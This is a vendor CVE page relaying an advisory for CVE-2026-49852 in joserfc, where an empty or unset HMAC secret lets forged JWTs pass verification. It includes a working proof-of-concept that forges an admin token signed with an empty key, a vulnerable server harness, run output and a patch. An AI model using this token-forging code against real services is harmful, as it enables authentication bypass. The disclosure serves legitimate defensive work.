CVE-2026-49852

CVE-2026-49852 is a high-severity improper authentication vulnerability in joserfc (pip), affecting versions <= 1.6.7. It is fixed in 1.6.8.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"])
    where key = OctKey.import_key("") (or OctKey.import_key(b""),
    or any custom path that yields an OctKey whose raw_value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...)
    deserialize_compact(value, key, algorithms, registry).
  3. deserialize_compact (src/joserfc/jws.py) dispatches to
    HMACAlgorithm.verify(signing_input, signature, key).
  4. verify calls key.get_op_key("verify") → returns b"".
  5. hmac.new(b"", signing_input, sha256).digest() is computed; the
    attacker computed exactly that digest with the same empty key, so
    hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

Configuration Observed Expected
JWT_SECRET unset (== "") HTTP 200, admin=True (verified) HTTP 401
JWT_SECRET = 256-bit value HTTP 401, BadSignatureError HTTP 401

The first row demonstrates that an attacker with zero knowledge of the
verification secret reaches the protected path by signing with the empty
key. The second row confirms the verifier behaves correctly when the
secret is non-empty, proving the bug is gated only on the secret being
empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Impact

  • Complete authentication bypass on any service whose key finder resolves
    to "" / None (env var unset, DB row missing, fallback). Attacker
    forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does
    not fail to boot, joserfc emits a single SecurityWarning ("Key size
    should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).
    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N, AC:H because of the
    operator-misconfiguration precondition; impact otherwise matches
    authentication bypass.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

Affected versions

joserfc (<= 1.6.7)

Security releases

joserfc → 1.6.8 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get_op_key(...):

# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
    ...
    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).

Frequently Asked Questions

  1. What is CVE-2026-49852? CVE-2026-49852 is a high-severity improper authentication vulnerability in joserfc (pip), affecting versions <= 1.6.7. It is fixed in 1.6.8. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. Which versions of joserfc are affected by CVE-2026-49852? joserfc (pip) versions <= 1.6.7 is affected.
  3. Is there a fix for CVE-2026-49852? Yes. CVE-2026-49852 is fixed in 1.6.8. Upgrade to this version or later.
  4. Is CVE-2026-49852 exploitable, and should I be worried? Whether CVE-2026-49852 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-49852 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-49852? Upgrade joserfc to 1.6.8 or later.

Other vulnerabilities in joserfc

Stop the waste.
Protect your environment with Kodem.